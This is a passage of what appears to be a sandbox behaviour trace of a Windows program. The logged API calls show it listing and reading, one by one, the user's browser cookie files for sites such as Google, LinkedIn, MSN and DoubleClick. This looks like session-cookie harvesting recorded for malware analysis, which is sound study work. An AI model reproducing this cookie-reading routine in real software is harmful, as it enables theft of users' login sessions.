nFileSizeLow=0x65, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adtech[2].txt", cAlternateFileName="5PC5B2~1.TXT")) returned 1 [0061.284] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@adtech[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtech[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.284] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x65 [0061.284] ReadFile (in: hFile=0x3f4, lpBuffer=0x42a0b24, nNumberOfBytesToRead=0x65, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x42a0b24*, lpNumberOfBytesRead=0x18e098*=0x65, lpOverlapped=0x0) returned 1 [0061.285] CloseHandle (hObject=0x3f4) returned 1 [0061.285] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53c70990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53c70990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53c70990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adtr02[1].txt", cAlternateFileName="5P5NRG~3.TXT")) returned 1 [0061.285] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@adtr02[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.285] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x52 [0061.285] ReadFile (in: hFile=0x3f4, lpBuffer=0x3bcc15c, nNumberOfBytesToRead=0x52, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3bcc15c*, lpNumberOfBytesRead=0x18e098*=0x52, lpOverlapped=0x0) returned 1 [0061.346] CloseHandle (hObject=0x3f4) returned 1 [0061.346] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x517fd8b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x51332930, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x51332930, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x125, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@advertising[1].txt", cAlternateFileName="5P5NRG~1.TXT")) returned 1 [0061.347] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@advertising[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@advertising[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.347] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x125 [0061.347] ReadFile (in: hFile=0x3f4, lpBuffer=0x3bcf2b4, nNumberOfBytesToRead=0x125, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3bcf2b4*, lpNumberOfBytesRead=0x18e098*=0x125, lpOverlapped=0x0) returned 1 [0061.348] CloseHandle (hObject=0x3f4) returned 1 [0061.348] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54cce0d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54cce0d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54cce0d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@api.bing[2].txt", cAlternateFileName="5P40FC~1.TXT")) returned 1 [0061.349] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@api.bing[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.349] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0xdd [0061.349] ReadFile (in: hFile=0x3f4, lpBuffer=0x3bd54a4, nNumberOfBytesToRead=0xdd, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3bd54a4*, lpNumberOfBytesRead=0x18e098*=0xdd, lpOverlapped=0x0) returned 1 [0061.350] CloseHandle (hObject=0x3f4) returned 1 [0061.350] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4611db50, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x4611db50, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x4611db50, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@at.atwola[1].txt", cAlternateFileName="5P74F0~1.TXT")) returned 1 [0061.351] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.351] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x201 [0061.351] ReadFile (in: hFile=0x3f4, lpBuffer=0x42a21a8, nNumberOfBytesToRead=0x201, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x42a21a8*, lpNumberOfBytesRead=0x18e098*=0x201, lpOverlapped=0x0) returned 1 [0061.352] CloseHandle (hObject=0x3f4) returned 1 [0061.352] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x534b4210, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x562c6900, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x562c6900, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@bing[1].txt", cAlternateFileName="5PBE12~1.TXT")) returned 1 [0061.352] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@bing[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@bing[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.352] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x1ea [0061.352] ReadFile (in: hFile=0x3f4, lpBuffer=0x3bd6a58, nNumberOfBytesToRead=0x1ea, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3bd6a58*, lpNumberOfBytesRead=0x18e098*=0x1ea, lpOverlapped=0x0) returned 1 [0061.353] CloseHandle (hObject=0x3f4) returned 1 [0061.353] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45798350, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45798350, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45798350, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@c.bing[1].txt", cAlternateFileName="5P5NRG~2.TXT")) returned 1 [0061.354] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@c.bing[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.354] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x1c8 [0061.354] ReadFile (in: hFile=0x3f4, lpBuffer=0x3bd6cfc, nNumberOfBytesToRead=0x1c8, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3bd6cfc*, lpNumberOfBytesRead=0x18e098*=0x1c8, lpOverlapped=0x0) returned 1 [0061.355] CloseHandle (hObject=0x3f4) returned 1 [0061.355] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbdf95770, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbdf95770, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbdf95770, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x82, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@c.msn[1].txt", cAlternateFileName="5PB89C~1.TXT")) returned 1 [0061.355] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@c.msn[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.356] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x82 [0061.356] ReadFile (in: hFile=0x3f4, lpBuffer=0x3bd6cfc, nNumberOfBytesToRead=0x82, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3bd6cfc*, lpNumberOfBytesRead=0x18e098*=0x82, lpOverlapped=0x0) returned 1 [0061.356] CloseHandle (hObject=0x3f4) returned 1 [0061.356] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6301df20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63a15b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x63a15b40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@doubleclick[2].txt", cAlternateFileName="5P93CC~1.TXT")) returned 1 [0061.365] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.365] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x110 [0061.365] ReadFile (in: hFile=0x3f4, lpBuffer=0x3bcec7c, nNumberOfBytesToRead=0x110, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3bcec7c*, lpNumberOfBytesRead=0x18e098*=0x110, lpOverlapped=0x0) returned 1 [0061.366] CloseHandle (hObject=0x3f4) returned 1 [0061.366] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x61093ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61093ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x61093ba0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x256, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@google[1].txt", cAlternateFileName="5P12F9~1.TXT")) returned 1 [0061.371] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@google[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.371] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x256 [0061.371] ReadFile (in: hFile=0x3f4, lpBuffer=0x3bd7598, nNumberOfBytesToRead=0x256, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3bd7598*, lpNumberOfBytesRead=0x18e098*=0x256, lpOverlapped=0x0) returned 1 [0061.372] CloseHandle (hObject=0x3f4) returned 1 [0061.372] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x610b9d00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61282d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x61282d80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@google[3].txt", cAlternateFileName="5P692F~1.TXT")) returned 1 [0061.373] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@google[3].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[3].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.373] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0xc4 [0061.373] ReadFile (in: hFile=0x3f4, lpBuffer=0x3bd78d0, nNumberOfBytesToRead=0xc4, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3bd78d0*, lpNumberOfBytesRead=0x18e098*=0xc4, lpOverlapped=0x0) returned 1 [0061.374] CloseHandle (hObject=0x3f4) returned 1 [0061.374] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64e777a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x64e777a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x64e777a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x21f, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@google[4].txt", cAlternateFileName="5P3B8C~1.TXT")) returned 1 [0061.374] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@google[4].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[4].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.375] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x21f [0061.375] ReadFile (in: hFile=0x3f4, lpBuffer=0x3bd7c18, nNumberOfBytesToRead=0x21f, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3bd7c18*, lpNumberOfBytesRead=0x18e098*=0x21f, lpOverlapped=0x0) returned 1 [0061.375] CloseHandle (hObject=0x3f4) returned 1 [0061.376] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x465ba5f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x465ba5f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x465ba5f0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@linkedin[1].txt", cAlternateFileName="5P1C80~1.TXT")) returned 1 [0061.376] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@linkedin[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@linkedin[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.376] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x110 [0061.376] ReadFile (in: hFile=0x3f4, lpBuffer=0x3bcec7c, nNumberOfBytesToRead=0x110, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3bcec7c*, lpNumberOfBytesRead=0x18e098*=0x110, lpOverlapped=0x0) returned 1 [0061.377] CloseHandle (hObject=0x3f4) returned 1 [0061.377] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbfa5cef0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbfa5cef0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbfa5cef0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x76, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@m.exactag[1].txt", cAlternateFileName="5PD7A3~1.TXT")) returned 1 [0061.378] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@m.exactag[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.378] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x76 [0061.378] ReadFile (in: hFile=0x3f4, lpBuffer=0x3bd7c10, nNumberOfBytesToRead=0x76, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3bd7c10*, lpNumberOfBytesRead=0x18e098*=0x76, lpOverlapped=0x0) returned 1 [0061.379] CloseHandle (hObject=0x3f4) returned 1 [0061.379] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50b50050, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x50b50050, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x50b50050, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x337, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@msn[1].txt", cAlternateFileName="5PBFF9~1.TXT")) returned 1 [0061.379] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@msn[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@msn[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.379] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x337 [0061.379] ReadFile (in: hFile=0x3f4, lpBuffer=0x3bd7118, nNumberOfBytesToRead=0x337, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3bd7118*, lpNumberOfBytesRead=0x18e098*=0x337, lpOverlapped=0x0) returned 1 [0061.381] CloseHandle (hObject=0x3f4) returned 1 [0061.381] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5348e0b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5348e0b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5348e0b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt", cAlternateFileName="5P5NRG~4.TXT")) returned 1 [0061.395] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.395] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0xce [0061.395] ReadFile (in: hFile=0x3f4, lpBuffer=0x42a4308, nNumberOfBytesToRead=0xce, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x42a4308*, lpNumberOfBytesRead=0x18e098*=0xce, lpOverlapped=0x0) returned 1 [0061.396] CloseHandle (hObject=0x3f4) returned 1 [0061.396] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf73d210, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf73d210, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf73d210, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt", cAlternateFileName="5P4910~1.TXT")) returned 1 [0061.396] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x3f4 [0061.396] GetFileSize (in: hFile=0x3f4, lpFileSizeHigh=0x18e09c | out: lpFileSizeHigh=0x18e09c*=0x0) returned 0x6c [0061.396] ReadFile (in: hFile=0x3f4, lpBuffer=0x3bd3be4, nNumberOfBytesToRead=0x6c, lpNumberOfBytesRead=0x18e098, lpOverlapped=0x0 | out: lpBuffer=0x3bd3be4*, lpNumberOfBytesRead=0x18e098*=0x6c, lpOverlapped=0x0) returned 1 [0061.397] CloseHandle (hObject=0x3f4) returned 1 [0061.397] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e140 | out: lpFindFileData=0x18e140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf99e810, 